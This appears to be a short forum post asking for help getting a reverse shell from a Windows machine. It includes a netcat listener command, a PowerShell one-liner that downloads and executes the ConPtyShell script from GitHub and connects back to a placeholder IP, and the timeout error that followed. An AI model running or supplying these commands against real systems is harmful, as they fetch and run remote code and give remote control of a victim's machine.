I was trying to spawn a reverse shell to connect to windows computer using netcat. But windows doesn't have ncat installed by default, so I tried to connect to the PowerShell. I specified the port I was listening on. Here is the command I used:
stty raw -echo; (stty size; cat) | nc -lvnp 87
Then I tried to connect to the port on windows:
IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell (IP) 87
But it wasn't detected. After a few seconds it threw me an error message saying:
ConPtyShellException: [-] ConPtyShellException: WSAConnect failed with error code: 10060 at ConPtyShell.connectRemote(String remoteIp, Int32 remotePort) at ConPtyShell.SpawnConPtyShell(String remoteIp, Int32 remotePort, UInt32 rows, UInt32 cols, String commandLine, Boolean upgradeShell) at ConPtyShellMainClass.ConPtyShellMain(String[] args)